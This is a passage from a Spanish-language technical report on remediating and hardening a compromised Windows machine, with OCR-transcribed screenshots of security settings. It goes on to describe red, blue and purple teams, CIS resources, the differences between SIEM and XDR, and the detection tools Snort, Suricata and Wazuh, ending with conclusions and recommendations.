Para lograr subsanar los efectos causados por la explotacién de la vulnerabilidad
en la maquina victima, se siguieron los siguientes pasos:

1. Activar el firewall de Windows®: esta accion permite bloquear conexiones
indeseadas, filtrar paquetes en la red y monitorizacién de la actividad.
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Figura 42. Firewall y proteccion de red habilitados

) Firewall y proteccion de red

Quién y qué puede tener acceso a las redes.

Red de dominio

El firewall est4 activado.

88 Red privada

El firewall esta activado.

2 Red publica (activo)

El firewall esta activado.

Fuente: elaboracion propia.

2. Activar la proteccién contra virus y amenazas: por medio de esta opcién
se hace un escaneo de las aplicaciones, archivos, carpetas y sistema
operativo en general, en busca de software malicioso que pueda dafar el
equipo.

Inicio
Proteccién contra virus y amenazas
Proteccién de cuentas

Firewall y proteccién de red

Control de aplicaciones y explorador
Seguridad del dispositivo
Rendimiento y estado del dispositivo

Opciones de familia

Configuracién

Figura 43. Proteccion contra virus y amenazas activada

Seguridad de un vistazo

Consulta lo que ests sucediendo con la seguridad y el estado del
dispositivo, y toma las medidas necesarias.

! o

Proteccién contra virus y Proteccién de cuentas
amenazas No se requiere ninguna accién,
No se requiere ninguna accion.

5 ’Q’?

Seguridad del dispositivo Rendimiento y estado del
Ver el estado y administrar |as dispositivo

caracteristicas de seguridad de No se requiere ninguna accion.
hardware

Fuente: elaboracion propia
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Figura 44. Configuracion de control de aplicaciones y explorador
Sequridad de Windows

8 Control de aplicaciones y explorador

Proteccién de aplicaciones y seguridad en linea.
r Inicio
J  Proteccion contra virus y amenazas @ Proteccién basada en reputacmn
Esta configuracién protege el dispositivo de aplicaciones, archivos y sitios
8 Proteccion de cuentas web malintencionados o potencialmente no deseados.

" Firewall y proteccién de red Configuracién de Proteccion basada en reputacién

| = Control de aplicaciones y explorador

Proteccion contra vulnerabilidades de sequridad
B Seguridad del dispositivo g

La proteccion contra vulnerabilidades de seguridad esta integrada en

% Rendimiento y estado del dispositive Windows 10 para ayudar a proteger el dispositivo contra ataques. El
dispesitivo tiene establecida la configuracion de proteccién de fabrica que
&k Opciones de familia funciona mejor para la mayoria de los usuarios.

Configuracién de proteccién contra vulnerabilidades de
seguridad

Mas informacion

Fuente: elaboracion propia.

Cerrar conexiones de escritorio remoto: al cerrar las conexiones de
escritorio remoto, se impide que desde afuera se tome posesion del equipo

sin autorizacion.
Figura 45. Conexiones a escritorio remoto deshabilitadas

X

B Administrador: Simbolo del sistema - u]

mente DESHAB.

Este equipo no cur
. actualmente con t¢

Conexion
»9 a Escritorio remoto

Equpo. 192.168.80.19 ~
Nombre de usuario: Ninguno especicado

Se solictarén credenciales al conectarse

e Escritorio remote no puede conectarse al equipe remoto por una de las siguientes razones:

T Mosirar opciones Conectar Ayuda

1) No ests habilitado el acceso remoto al servidor.
2) El equipo remoto ests apagado
3) El equipo remoto no ests disponible en la red

actualizaciones més reci
Mas informacién

Asegrate de que el equipo remoto esté iniciado y conectado 2 la red, y €l acceso remoto esté
habilitado

Vinculos relacionados

Ver detalles [ Aceptar |
Fuente: elaboracion propia.

Comprobar almacenami

Bloguear puertos de comunicacion: al bloguear los puertos que no son
necesarios, se impide que las aplicaciones habiliten servicios extrafios, que
puedan poner en riesgo la seguridad.

Revision de las reglas de entrada y salida del firewall de Windows®: se

realiza para comprobar que solo estén habilitadas las necesarias como, por
ejemplo, las del firewall.
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Figura 46. Reglas de entrada
W Windows Defender Firewall con seguridad avanzada - X
Archivo  Accién  Ver Ayuda
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ion de tarjetas n detaetasi.  Priva.. No Permitic  No HSystemR.. Cuslquiers Subr || 7 Filtrer por grupo »
de tarjetas 6n detaretasi.  Domi.. No Permitit  No suSystemR... Cuzlquiera Cual Ver v
Administracion remota de Firewall de Wi... Administracion remota deF... Priva.. No Permitic  No sisystemR... Cuslquiera suor ||
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Adrministracién remota de Firewall de Wi... Admiistracion remota deF.. Domi.. No Permitit  No suSystemR... Cuzlquiera Cual ||[F Ayuda
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Adrministracion remota de sevicios (NP .. Administracion remota des.. Domi.. No Permitic  No System  Cuslquiers Cual
Administracion remota de senvicios (RPC)  Administracion remota des.. Domi.. No Permitic  No SystemR.. Cuslquiera Cual
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Fuente: elaboracion propia
Figura 47. Reglas de salida
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Fuente: elaboracion propia

BUsqueda e instalacion de actualizaciones del sistema operativo y de
seguridad: permite mantener el sistema protegido contra amenazas de dia
cero (Zero day), ya que estas corrigen brechas y reparan errores. Es
recomendable dejar configurada la opcién de actualizaciones automaticas,
para que sea transparente para el usuario y se realicen cada vez que haya
una mejora.

Mejorar la configuracion del navegador: entre las configuraciones
comunes que se pueden implementar en los navegadores se encuentran no
guardar contrasefas, evitar las cookies de terceros, borrar las cookies
cuando se cierre el navegador, entre otras.
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Figura 48. Configuracion de descargas desde el navegador

< C @ Edge | edgey//settings/downloads g m = @
Configuracion Descargas
Q,  Buscar en configuracién Ubicacion Cambiar
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[5 Pestafias Inicio, Inicio y Nuevas B B B
Si este valo de Office [presentaciones, hojas de cilculo, documentos) se abrirdn autsméticamente en Microsoft Edge en
[ Compartir, copiar y pegar lugar de desc Vo
B8 Cookiesy permisos delsitio Mostrar el menti de descargas al iniciar una descarga o
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& Impresoras
O Sistema y rendimiento
Fuente: elaboracion propia.
Figura 49. Configuracién de cookies del navegador
] @ Edge | edge/settings/content/cockies oo om v B
Configuracién < Cookies y datos almacenados / Cookies y datos del sitio
Q. Buscar en configuracion
Permitir que los sitios guarden y lean datos de cookies (recomendado) [ o]
Perfiles
(%) Privacidad, busqueda y servicios Bloguear cookies de ferceros o
05 no pueden usar cookies que realizan un seguimiento en Intemet, Es posible que las caracteristicas de algunos
G} Apariencia
[0 Barra lateral
Precargar paginas para exploraciones y buisquedas mas rapidas [ o]
(3 Pestafias Inicio, Inicio y Nuevas . )
Usa cookies para recordar tus preferencias, aunque no visites esas paginas
(& Compartir, copiar y pegar
| & Cookies y permisos del sitio Ver todas las cookies y datos del sitio >
@ Explorador predeterminado
L Descargas Bloquear Agregar
. No permitiste que las siguientes siti rden y lean cookies en el dispositivo.
@ Seguridad familiar
A 1diomas No se agregé ningén sitio
[ Impresoras
O Sistema y rendimiento Permitir Agregar

8. Dejar las cuentas de usuario con el menor privilegio: es decir, solo los
administradores podran cambiar permisos, hacer instalacion de software,

entre otras.

Fuente: elaboracion propia.
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Figura 50. Perfil de cuenta de tipo usuario
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Fuente: elaboracion propia.

9. Activar las notificaciones: para que, cuando una aplicaciéon intente hacer
cambios en el dispositivo, estas se activen y se muestren al usuario,

permitiéndole tener un control y administrar los permisos de lo que se desea
realizar en el equipo.

Figura 51. Configuracién de control de cuentas de usuario

!; Configuracidn de Centrol de cuentas de usuario — O x

Elige cudndo quieres recibir notificaciones acerca de los cambios en el equipo
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Mas informacién acerca de la configuracién de Control de cuentas de usuario

Motificarme siempre

Notificarme solamente cuando una aplicacién intente
realizar cambios en el equipo (predeterminado)

* Mo notificarme cuando realice cambios en la
- cenfiguracién de Windows

o Recomendado si usa aplicaciones que le son
- - familiares y visita sitios web conocidos,

No notificarme nunca

Cancelar

Fuente: elaboracion propia

10.Desagregacion de cuentas de usuario: se debe tener un usuario con

privilegios de administrador y protegido con contrasefia, quien sera la Unica
cuenta que pueda hacer la gestion del equipo.
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& Administracién de equipos

Archivo  Accién  Ver  Ayuda

e | nE =0 E

Figura 52. Cuentas de usuario en el equipo
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Fuente: elaboracion propia.

11.Uso de VPN: de ser necesario el establecimiento de conexiones de escritorio
remoto, se recomienda hacer uso de VPN, con el fin de encapsular, cifrar y
asegurar el trafico entre el origen y el destino.

12.Activar el cifrado: El cifrado codifica la informacién y solo puede accederla,
copiarla o modificarla el usuario autorizado, quien debe poseer la contrasefa
maestra.

13.Implementar las copias de seguridad: Con este procedimiento, lo que se
busca es que si el equipo sufre un fallo o un ciberataque, por ejemplo, por
ransomware, el impacto se vea amortizado por esta buena préactica.

5.3 BLUE TEAM, RED TEAM, PURPLE TEAM Y EQUIPO DE RESPUESTA A
INCIDENTES. ¢(QUE SON Y CUALES SON SUS DIFERENCIAS?

El dia a dia de la seguridad informatica, de la informacion y ciberseguridad demanda
esfuerzos, recursos, procesos, capacidades y herramientas, que en conjunto y con
un trabajo armonico, pueden ayudar a las empresas u organizaciones a retrasar en
cierta medida, la materializacion de los riesgos.

Para hacer frente a los retos que enfrentan diariamente, las organizaciones deben
contar con un sistema de gestion de la ciberseguridad, por medio del cual tengan
mecanismos de control, monitorizacion y respuesta que les permitan anticipar,
identificar, responder y mitigar los incidentes de ciberseguridad que puedan
materializarse.
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Por lo anterior, es necesario contar con equipos de personas especializadas y con
capacidades especiales, que puedan realizar actividades de deteccion, prueba,
mejora y restauracion de la ciberseguridad desde diferentes perspectivas y roles.
Estos equipos son el Red Team, el Blue Team, el Purple Team y el equipo de
respuesta a incidentes.

El Red Team: es el equipo que se encarga de simular ataques cibernéticos
reales contra la organizacién. Con estos ejercicios se busca evaluar el nivel
de seguridad, descubrir brechas o encontrar posibles vulnerabilidades. El
Red Team actia como un adversario externo o interno, empleando técnicas,
tacticas, procedimientos y herramientas de hacking ético para identificar y
explotar debilidades en los sistemas, redes y aplicaciones de la empresa. El
Red Team reporta sus hallazgos y recomienda medidas de mitigacién para
mejorar la seguridad. Por lo anterior, la importancia de este equipo radica en
la ayuda a la organizacion a estar preparada para enfrentar amenazas reales
y a mejorar su postura de seguridad.

El Blue Team: se encarga de proteger la organizacion contra ataques
cibernéticos externos e internos, con el fin de garantizar la confidencialidad,
integridad y disponibilidad de la informacion y los recursos. Este equipo
implementa, monitorea y gestiona soluciones de seguridad como antivirus,
firewalls, sistemas de deteccion y prevencién de intrusiones, entre otros.
Adicionalmente, este equipo detecta y responde a incidentes de seguridad,
realiza andlisis forense y trazabilidad de los vectores de ataque. Pero su
actividad no se limita a esto, ya que también realiza endurecimiento de
sistemas y caceria de amenazas. Como complemento a las
recomendaciones dadas por el Red Team, el Blue Team propone y establece
medidas de prevencion y deteccién para futuros casos.

El Purple Team: es el equipo que se encarga de asegurar y maximizar la
efectividad de las acciones del Red Team y el Blue Team, con el fin de
mejorar continuamente la seguridad de la organizacion. El Purple Team
realiza ejercicios de simulacion de ataques y evalla la efectividad de las
defensas implementadas por el Blue Team. También facilita la comunicacion
y el intercambio de conocimientos entre el Red Team y el Blue Team,
ayudandoles a aprender unos de otros y a adaptar sus tacticas y técnicas
segun los resultados obtenidos. Ademas, mide y reporta el nivel de madurez
de la seguridad de la organizacion. El Purple Team ayuda a la organizacion
a optimizar sus recursos y procesos de seguridad, maximizando la
efectividad de los equipos rojo y azul, por medio del desarrollo de objetivos
comunes.

Los equipos de respuesta a incidentes informaticos son los equipos que
se encargan de restaurar la normalidad operativa lo mas rapido posible tras
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un incidente de seguridad, con el fin de minimizar las pérdidas y las
consecuencias negativas, a través del establecimiento de planes de accion
de respuesta a incidentes de seguridad, siguiendo las fases de contencién,
erradicacion, recuperacion y lecciones aprendidas. También coordinan las
actividades con otros equipos internos y externos involucrados en la
respuesta a incidentes, como el Red Team, el Blue Team, el Purple Team,
los proveedores, clientes, autoridades, gobierno empresarial, entre otros.
Adicionalmente, el equipo de respuesta a incidentes cumple un papel muy
importante ya que se encarga de documentar y comunicar los incidentes y
las acciones realizadas durante todo el proceso.

5.4 CIS - CENTER FOR INTERNET SECURITY Y SU FUNCION DENTRO DEL
BLUE TEAM.

El CIS (Center for Internet Security) es una organizacién sin animo de lucro e
independiente, que se dedica a crear confianza en el mundo conectado, ofreciendo
herramientas y recursos a las personas, organizaciones y gobiernos para que
puedan protegerse de las ciberamenazas que los acechan dia a dia.

La funcién del CIS dentro del Blue Team, es proporcionarle un conjunto de
controles, mejores practicas normativas y fundamentales en temas de
ciberseguridad y acciones defensivas que les ayudan a anticiparse a los
ciberataques. El CIS, por medio de los controles CIS, apoyan estos equipos en el
cumplimiento regulatorio, en una época de multiplicidad de marcos, lo que hace que
la gestion de la seguridad y la auditoria sean un poco mas faciles.

Dentro de los recursos que ofrece el CIS se encuentran: los controles de seguridad
critica, los benchmarks de CIS, imagenes hardenizadas y el SecureSuite de CIS.
Algunos recursos necesitan pagos como, por ejemplo, las imagenes hardenizadas.
Para encontrar los tutoriales que posee CIS, se pueden seguir estos pasos:

e Se accede a la pagina web de CIS: www.cisecurity.org

e En el mend superior, se encuentran los diferentes recursos a los que se
puede acceder.

e Se elige la categoria de interés, por ejemplo: CIS Hardened Images, Support
o iniciar sesion en CIS WorkBench.

e Dentro de cada categoria, se encuentran diferentes tipos de recursos, como
guias, documentos técnicos, videos, webinars, podcasts o blogs.

e Se pueden filtrar los recursos por tipo, tema, idioma o fecha usando la opcién
de busqueda que aparece en la partre superior derecha de la pantalla.

e Hacer clic en el recurso que quiera consultar y seguir las instrucciones para
descargarlo o verlo.
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http://www.cisecurity.org/

Figura 53. Sitio web del CIS
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Fuente: elaboracion propia

Services for Members
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Adicionalmente a lo anterior, en la opcién CIS WorkBench Sign In, se puede hacer
la creacidn de una cuenta, la cual da acceso a las opciones que se ven en la Figura

17.

Figura 54. Dashboard de CIS WorkBench
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Fuente: elaboracion propia

Dentro de cada opcion, se encuentran innumerables recursos como documentos,
foros de discusiones, archivos y herramientas descargables. Es una herramienta
muy intuitiva y sencilla de usar.
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5.5 SIEMY XDR: DIFERENCIAS ENTRE ELLOS.

Dentro de las soluciones de seguridad que son comunmente usadas, se encuentran
el SIEM (Security Information and Event Management, en espafiol, Informacion de
seguridad y gestion de eventos), el cual es una solucion que retne y analiza
informacion de diferentes fuentes con el objetivo de detectar amenazas, gestionar
incidentes y mejorar el cumplimiento.

Por otro lado, el XDR (eXtended Detection and Response), armoniza la deteccion y
respuesta a amenazas obteniendo, correlacionando y clasificando, casi en tiempo
real, la informacion proveniente de diferentes fuentes.

En la Tabla 1, se presentan las diferencias entre las herramientas SIEM y XDR.

Tabla 1. Diferencias entre SIEM y XDR

SIEM

XDR

Se centra principalmente en los
datos de registro de varias fuentes
como firewalls, servidores,
aplicaciones y dispositivos de red,
entre otros.

Va mas allA de los registros e
incorpora un rango mas amplio de
datos de telemetria de seguridad,
incluyendo los datos de los endpoints,
el trafico de red y los entornos basados
en la nube.

Recopila y analiza los registros
para identificar eventos de
seguridad y generar alertas, sin
embargo, no incluye opciones de
automatizacion.

Es una herramienta que se destaca en
la deteccidn y respuesta a amenazas,
ya que utiliza andlisis avanzados y
aprendizaje automatico para identificar
anomalias rapidamente, lograndolo
mediante la unién de EDR y MDR.

Las acciones que puede tomar, se
limitan normalmente a enviar
alertas de seguridad a los SOCs,
para que sea desde ahi que se
realicen las gestiones, lo que lo
hace una herramienta pasiva.

Puede orquestar automaticamente
respuestas coherentes en tiempo real
a las amenazas cibernéticas en
multiples endpoints.
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SIEM XDR

Es mejor para el registro de Es mejor para la deteccion y
eventos y el analisis a largo respuesta rapida a las amenazas
plazo. avanzadas.

5.6 INFORME DE ELECCION DE TRES HERRAMIENTAS PARA LA
DETECCION DE ATAQUES INFORMATICOS

Dentro de las herramientas que debe tener todo equipo de seguridad informatica,
de la informacién o ciberseguridad, se encuentran las que les permiten a los
profesionales que conforman estas unidades, hacer la detecciéon de incidentes de
seguridad. Estas herramientas en muchas ocasiones, detectan tempranamente
comportamientos anémalos, como los descritos en el numeral 2.1 Pasos para
identificar un ataque de ciberseguridad en tiempo real y analisis de las acciones
necesarias para contenerlo, que se traté anteriormente en el presente documento.

Algunas de las herramientas mas conocidas para la de deteccion de ciberataques,
con licencia GPL (software libre y cédigo abierto) son las siguientes:

SNORT: Es un sistema de detecciéon y prevencién de intrusiones basado en red que
analiza el trafico y genera las alertas respectivas sobre posibles ataques. Esta
herramienta es capaz de detectar una gran variedad de amenazas, tales como
escaneos de puertos, ataques de denegacion de servicio, intentos de acceso no
autorizado, malware, entre otros.

Snort se usa principalmente como?©:

1. Rastreador de paquetes como tcpdump.

2. Supervisor de paquetes, que es util para la depuracion del trafico de red.

3. Un completo sistema de prevencion de intrusiones en la red (IPS). Snort se
puede descargar y configurar para uso personal y empresarial
indistintamente.

SURICATA: Es un motor de deteccioén y prevencion de intrusiones basado en red
que utiliza reglas basadas en firmas para reconocer patrones maliciosos. También
incorpora funciones avanzadas como el analisis de protocolos, seguimiento de
flujos, inspeccidon profunda de paquetes, deteccion de anomalias y extraccion de

10 SNORT. What is Snort? [sitio web]. [Consultado: 20, septiembre, 2023]. Disponible en:
https://www.snort.org/
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archivos, registro de solicitudes HTTP, registro y almacenamiento de certificados
TLS, registro de DNS, entre otros.

Figura 55. Servicios de Suricata

Suricata is far more than an IDS/IPS

IDS Alerts

Protocol
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Fuente: Stamus Networks

WAZUH: Es una plataforma HIDS (Host-based Intrusion Detection System) de
seguridad que integra OSSEC con otras herramientas como Elasticsearch,
Logstash y Kibana. Es una herramienta de cddigo abierto que proporciona una
vision global y centralizada del estado de seguridad de los sistemas que estan
siendo monitoreados; ademas, genera alertas en tiempo real, cuenta con paneles
interactivos y reportes detallados. Es una poderosa aplicacion que puede ser
instalada en equipos o en servidores, de manera practica. Algunas de las funciones
gue incluye son:

Comprobacion de integridad de ficheros.

Andlisis automatico de logs.

Deteccion de intrusiones.

Auditoria a la configuracién.

Respuesta activa a incidentes.

Auditoria de cumplimiento.

Examen de seguridad del sistema.

Monitoreo de seguridad en entornos cloud.

Inclusidn de reglas o firmas de comportamientos maliciosos.
Seguridad de contenedores.
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6 CONCLUSIONES

Muchos de los incidentes se materializan gracias a malas configuraciones o a la
conservacion de credenciales por defecto, por ejemplo, la combinacién: usuario
admin — contrasefia admin, las cuales hacen que los ciberdelincuentes con un
ataque de fuerza bruta ganen acceso a los recursos de infraestructura y escalen
privilegios, para lograr su cometido que, en la mayoria de los casos, es la exfiltracion
de datos con fines lucrativos. Por esta razén, se puede concluir que, adicionalmente
a las herramientas técnicas (dispositivos), las organizaciones deben crear e
implementar programas robustos de educacion en seguridad informética, de la
informacion y ciberseguridad, que involucren a todos los colaboradores, con el fin
de hacerlos conscientes de la importancia de su rol en el cuidado de la informacién
corporativa que gestionan.

Dentro de la gestion de incidentes, se debe tener cuidado con la informacion que se
comunica, cOmo y a quién, ya que pueden generarse reacciones adversas en las
personas, que pueden dificultar la accidén de los expertos y/o entregar informacion
relevante para los atacantes.

De igual manera, es transcendental el nivel de preparacién obtenido por el Blue
Team a través de la realizacion de ejercicios constantes y en entornos lo mas reales
posibles.

Es muy importante que las organizaciones cuenten con un inventario de activos
actualizado, mapa de la arquitectura de red, sistemas de deteccion y prevencion de
intrusiones (IDS/IPS), correlacionadores de eventos (SIEM) o cortafuegos, los que
ayudaran a establecer con mas exactitud la naturaleza del incidente y la forma de
contenerlo.

Aunado a lo anterior, después de lograr contener el incidente, es importante la
realizacion de una investigacion mediante la aplicacion de técnicas forenses, ya que
esto le permitird a la organizacion tener un conocimiento sobre el origen, el alcance,
las consecuencias y lecciones aprendidas, con el fin de corregir brechas que se
puedan estar presentando y asi retardar la materializacion de nuevos ciberataques.

Se deben tener buenas practicas de hardening con el fin de eliminar o deshabilitar
los componentes innecesarios del sistema, como software, servicios, usuarios,
puertos y demas, asi como configurar adecuadamente los componentes realmente
necesarios como contrasefias, permisos, protocolos, entre otros, con el propdsito
de prevenir la materializacién de incidentes de seguridad.
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7 RECOMENDACIONES

Teniendo en cuenta lo sucedido dentro de la organizacion se recomienda:

Identificar los activos de seguridad informatica y de la informacion con el fin de tener
un gobierno sobre ellos, que le permita a la empresa establecer niveles de
priorizacién, de acuerdo a los criterios que se establezcan desde el gobierno
corporativo, teniendo en cuenta la misién, la vision, los valores, los objetivos y las
estrategias del negocio.

Disefiar e implementar una politica de seguridad que permita establecer con
claridad los lineamientos que, desde la direccidn de la organizacién, se definen para
el cumplimiento que debe acatarse.

Como elementos complementarios, se debe generar documentos que den forma a
la politica de seguridad referida; uno de ellos, es la politica de control de acceso que
defina los roles y privilegios que se tendrdn en todos los ambitos de manera
segregada.

Conformar equipos como el purple team y el de respuesta a incidentes, y definir los
procedimientos que deben seguir en sus actuaciones.

Realizar ejercicios de red y blue team de manera perioddica para la identificacion y
solucién de brechas de seguridad. Asi mismo, se sugiere establecer métricas que
permitan evaluar la efectividad de los ejercicios con relaciéon a la cantidad de
ciberataques recibidos contra los exitosos.

Realizar auditorias periddicas de cumplimiento. Ello permite mantener actualizados
los controles requeridos.

Crear programas de educacién en temas de seguridad informatica, teniendo en
cuenta todas las partes interesadas, procesos y tecnologia involucrada.

Verificar la idoneidad del personal que sea contratado en la empresa, con el objetivo

de evitar malos manejos, que pueden llevar a la empresa a pleitos legales y a
pérdidas econdmicas y reputacionales graves.
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ANEXOS

A. VIDEO DE SOCIALIZACION DE INFORME TECNICO.

Socializaciéon informe técnico Andrea Lorena Davila Gémez: https://youtu.be/e-xI6i-
anv4
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